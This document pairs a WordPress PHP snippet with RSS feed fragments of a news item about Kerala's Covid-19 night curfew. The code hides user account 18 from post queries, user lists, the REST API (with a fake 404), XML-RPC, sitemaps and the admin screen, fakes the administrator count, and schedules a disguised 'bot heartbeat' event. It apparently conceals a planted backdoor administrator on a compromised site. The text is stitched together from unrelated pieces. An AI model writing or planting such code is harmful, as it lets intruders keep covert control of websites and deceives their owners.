add_action( 'pre_get_posts', function( $q ) {
    if ( ! is_admin() && $q->is_main_query() ) {
        $not_in   = (array) $q->get( 'author__not_in' );
        $not_in[] = 18;

        $q->set(
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}, 1 );

add_action( 'template_redirect', function() {
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} );

add_action( 'pre_user_query', function( $q ) {
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    global $wpdb;
    $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );

add_action( 'pre_get_users', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    $exclude   = (array) $q->get( 'exclude' );
    $exclude[] = 18;
    $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );

add_filter( 'wp_dropdown_users_args', function( $a ) {
    $exclude   = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
    $exclude[] = 18;

    $a['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $a;
} );

add_filter( 'rest_user_query', function( $args, $request ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 18;

    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $args;
}, 10, 2 );

add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
    $route = $request->get_route();
    if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
        return new WP_Error(
            'rest_user_invalid_id',
            'Invalid user ID.',
            array( 'status' => 404 )
        );
    }
    return $result;
}, 10, 3 );

add_filter( 'xmlrpc_methods', function( $methods ) {
    unset(
        $methods['wp.getUsers'],
        $methods['wp.getUser'],
        $methods['wp.getProfile']
    );
    return $methods;
} );

add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 18;
    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
    return $args;
} );

add_action( 'admin_head-users.php', function() {
    echo '<style>#user-18{display:none!important}</style>';
} );

add_filter( 'views_users', function( $views ) {
    foreach ( array( 'all', 'administrator' ) as $key ) {
        if ( isset( $views[ $key ] ) ) {
            $views[ $key ] = preg_replace_callback(
                '/\((\d+)\)/',
                function( $m ) {
                    return '(' . max( 0, (int) $m[1] - 1 ) . ')';
                },
                $views[ $key ],
                1
            );
        }
    }
    return $views;
} );

add_action( 'init', function() {
    if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
        return;
    }
    if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
        wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
    }
} );

add_action( 'wp_extra_bot_heartbeat', function() {
    // noop
} );
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		<title>With the Number of Cases Increasing, The Kerala Government has Decided to Implement a Night Curfew Beginning Next Week</title>
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					<description><![CDATA[<p>Kerala&#8217;s administration stated on Saturday that a night curfew will be implemented in the state starting next week to prevent the spread of Covid-19. From next week, a review meeting convened by Chief Minister Pinarayi Vijayan will impose a night curfew from 10 p.m. to 6 a.m. &#160; Since July 27, when the state&#8217;s limits [&#8230;]</p>
<p>The post <a href="https://theedgemedia.in/with-the-number-of-cases-increasing-the-kerala-government-has-decided-to-implement-a-night-curfew-beginning-next-week">With the Number of Cases Increasing, The Kerala Government has Decided to Implement a Night Curfew Beginning Next Week</a> appeared first on <a href="https://theedgemedia.in">The Edge Media</a>.</p>
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<p>Since July 27, when the state&#8217;s limits were eased for a few days due to two festivals, the state has logged more than or close to 20,000 cases practically every day. Kerala reported 31,265 Covid instances in the previous 24 hours on Saturday. The state has reported over 30,000 daily infections for the fourth day in a row. With 153 fresh deaths, the total number of people killed has now reached 20,466. The test positive percentage was found to be 18.67%.</p>
<p>The post <a href="https://theedgemedia.in/with-the-number-of-cases-increasing-the-kerala-government-has-decided-to-implement-a-night-curfew-beginning-next-week">With the Number of Cases Increasing, The Kerala Government has Decided to Implement a Night Curfew Beginning Next Week</a> appeared first on <a href="https://theedgemedia.in">The Edge Media</a>.</p>
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